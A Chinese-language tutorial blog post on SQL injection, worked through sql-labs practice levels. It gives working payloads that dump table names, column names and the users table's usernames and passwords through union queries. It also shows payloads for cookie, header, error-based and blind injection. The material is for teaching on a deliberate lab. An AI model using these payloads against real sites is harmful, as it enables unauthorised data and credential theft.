sql注入

sql注入

动态网站的访问流程

浏览器发起访问>DNS解析域名>服务器电脑==>服务软件

Apache是一种帮助计算机向互联网上的其他计算机发送和接收网页的程序。

html是一种用于创建网页的标准标记语言。HTML是一种基础技术,和其他语言一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。网页浏览器可以读取HTML文件,并将其渲染成可视化网页。

PHP的主要用途是生成动态网页内容,例如处理表单数据、与数据库交互、管理会话等。

MySQL 是一种功能强大、易于使用且广泛应用的关系型数据库管理系统,凭借其开源性、高性能和跨平台兼容性,成为全球最受欢迎的数据库之一。

sql注入是一种利用web应用程序安全漏洞,将恶意sql代码插入到用户输入的参数中,从而欺骗数据库服务器执行没有被授权操作的技术。

web应用程序:可以通过web访问的应用程序

sql注入成立的两个条件:

参数用户可控;

参数代入数据库查询。

Hackbar的主要用途是帮助安全测试人员进行手动漏洞检测,比如SQL注入、XSS,以及提供编码工具。

我们先来看一道题

sql-labs第一关

请输入值为数字的id作为参数。

这道题就满足了sql注入的两个条件,id参数是我们输入的,然后这个参数被代入sql语句中查询数据库的信息,所以我们就可以在这里进行sql注入

我们先看一下源码中php的部分

我们先看这条sql语句,查找users表中id=$id的数据

这个$id就是get请求中 我们输入的数值 所以说我们刚刚输入id=1 就可以查询到id为1的用户的相关信息

  • GET 请求
    GET 用于从服务器获取资源(如网页、图片、数据等),请求参数附加在 URL 中。

​ 第一关是get请求,GET请求中的问号(?)在HTTP协议中起到分隔URL路径与查询参数的作用。

  • POST 请求 (less 11)

    POST 用于向服务器提交数据(如表单、文件上传),请求参数放在 HTTP 请求体中。

我们再分析一下这个源码是什么意思

if(isset($_GET['id']))

这是一个if语句,如果存在GET 请求中包含名为 id 的参数,该条件返回true,

$id=$_GET['id'];

$_GET['id']中的id就是get请求传递的id参数 是url ?后面的id

然后再将url中以get请求传递的id参数,赋值给变量$id

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这是一句sql的查询语句,从 users 表中查询 id 字段等于用户输入值 $id 的记录,并仅返回第一条结果。

  • LIMIT 0,1:限制返回结果的数量。0 表示从第0行(即第一行)开始,1 表示仅返回一行数据。

这里的第三个id就是users表中的id字段

我们可以在本地的mysql数据库看一下

我们可以在本地看一下 当id=1时 这个sql语句在后台怎么运行的

SELECT * FROM users WHERE id='1' LIMIT 0,1;

第一关是get请求,GET请求中的问号(?)在HTTP协议中起到分隔URL路径与查询参数的作用。

刚刚输入id=1 可以看到显示登陆名和密码

我们如果想获取数据库中的其它信息 就可以利用它的漏洞添加一些sql代码到参数中

然后我们先猜测是什么类型的闭合

因为输入\ 出现sql的语法错误 所以就会报错

查询数据库执行的是刚刚的源码 所以报错时会看到部分源码

通过反斜杠报错可以看到 输入的 id=1\ 是单引号包裹

所以是单引号闭合

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1

我们看源码 也可以看到

我们看这条sql语句 可以看到$id用单引号圈起来了 这就是单引号闭合

Less 2 中就是数字型 没有引号闭合

我们可以用万能密码

?id=-1' or 1=1--+

这条完整语句是

$sql="SELECT * FROM users WHERE id='-1' or 1=1--+' LIMIT 0,1";

这条语句的意思是查询users表中id=-1 或者1=1 后面的这个单引号被--+注释掉了

or就是有一个条件正确就可以成立

因为1=1恒成立 所以 虽然id=-1不成立 这个语句不会报错

但是这样只能查询到第一个 所以我们可以用联合注入

再查看表格有几个字段数 没有报错说明是3个

?id=1' order by 3--+

通过union select联合查询 改变它显示的内容

?id=-1' union select 1,2,3--+

查看显示位 发现是第二列和第三列的数据会显示在表上

我们可以在本地看一下

就是将两个查询语句通过union连接在一起 因为id=-1不存在 所以会输出1,2,3

接下来我们可以改成其它我们想要知道的信息

比如说database()查询数据库名,version()查看数据库管理系统的版本

?id=-1'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

查看数据表名

我们现在看这条语句,

table_name 就是数据表名

information_schema.tables表示数据库下的数据表

table_schema 是数据表所属的数据库名

group_concat ()就是把要查询的东西联接起来 比如说要查询的这个数据库下的数据表有好几个,把他们连接起来就可以全部显示,如果不使用的话只能查询出一个数据表

然后我们查询数据表的列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+

最后再查询数据库内的信息

?id=-1' union select 1,group_concat(id,username,password),3 from security.users --+

下来我们可以看看按照不同标准下sql的几大分类

一、按注入点数据类型分类

  • 数字型注入

    注入点参数为数字类型(如id=1),无需引号闭合。

  • 字符型注入

    注入点参数为字符串类型(如name='admin'),需闭合单引号或双引号。

  • 搜索型注入

    出现在搜索功能中,参数未经严格过滤(如keyword=测试),常伴随模糊查询符号(如%)。

示例:

微信截图_20250409164625

微信截图_20250409164649

%字符来表示任意字符,如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。

二、按数据提交方式分类

  • GET注入

    通过URL参数提交,直接在地址栏可见。

  • POST注入

    通过表单POST请求提交。

  • Cookie注入 (Less 20)

    利用Cookie中的参数进行注入。

    ' union select 1,database(),3 #;
    

    [先随便提交一个 发现和cookie有关

    在bp中进行联合查询]

  • HTTP头部注入 (Less 18)

    攻击HTTP头部字段(如User-Agent、X-Forwarded-For)

    ' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
    

    [通过提示可知 和User-Agent有关

    在bp中进行报错注入]

其中,Cookie注入也算是HTTP头部注入的子类型

HTTP请求头是HTTP协议中用于描述客户端与服务器通信时附加信息的重要部分,能够提供关于客户端环境、请求内容以及客户端期望的响应格式等详细信息,帮助服务器正确处理请求并生成相应的响应。

User-Agent
提供客户端的用户代理信息,包括浏览器类型、版本号、操作系统等。例如:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Cookie
包含之前发送给服务器的cookie信息,用于会话管理。例如:Cookie: sessionID=abc123

referer

指示请求来源的URL,用于跨域请求验证。例如:Referer: [https://www.example.com ](https://www.example.com )

三、按注入技巧或执行方式分类

  1. 联合查询注入 (Less 1)
    通过UNION合并查询结果,直接返回数据到前端。

  2. 报错型注入 (Less 5)
    利用数据库函数(如updatexml()extractvalue())触发错误回显信息。

    微信截图_20250409221015

    extractvalue() 和 updatexml() 的区别

    1. extractvalue()函数:用于从XML文档中提取特定路径的内容
    2. updatexml()函数:用于更新XML文档中的特定路径内容。
  3. 布尔盲注 (Less 8)
    通过页面返回的布尔值(真/假)推断数据,不直接显示查询结果。

    在布尔盲注中,常用的函数包括length()、substr()、ascii()等,这些函数可以帮助攻击者逐步猜测数据库中的信息。

    length()函数:用于判断字符串的长度

    substr()函数:用于从字符串中截取指定位置的字符

    ascii()函数:将字符转换为ASCII码

    id=1' and length((select database()))>9 --+
    
    id=1' and ascii(substr((select database()),1,1))=115 --+
    
  4. 时间盲注 (Less 9)
    通过时间延迟函数(如sleep())判断注入是否成功。

    SLEEP()函数会暂停指定秒数的执行时间

    BENCHMARK()函数则会执行指定次数的空操作,从而消耗时间。

     sleep(n);
    
    BENCHMARK(count,expr)
    

    count 是要重复执行的次数

    expr是要执行的表达式

    示例: BENCHMARK(10000000, MD5('aaa')) 来测试 MD5 函数的执行时间

  5. 堆叠注入 (Less 38)
    执行多条SQL语句,常用于插入或删除数据。

  6. 二次注入 (Less 24)
    恶意数据先被存储,后续操作触发执行。

  7. 宽字节注入 (Less 32)
    利用编码转换漏洞绕过转义(如GBK编码)。

posted @ 2025-04-11 09:53  llz233  阅读(74)  评论(0)    收藏  举报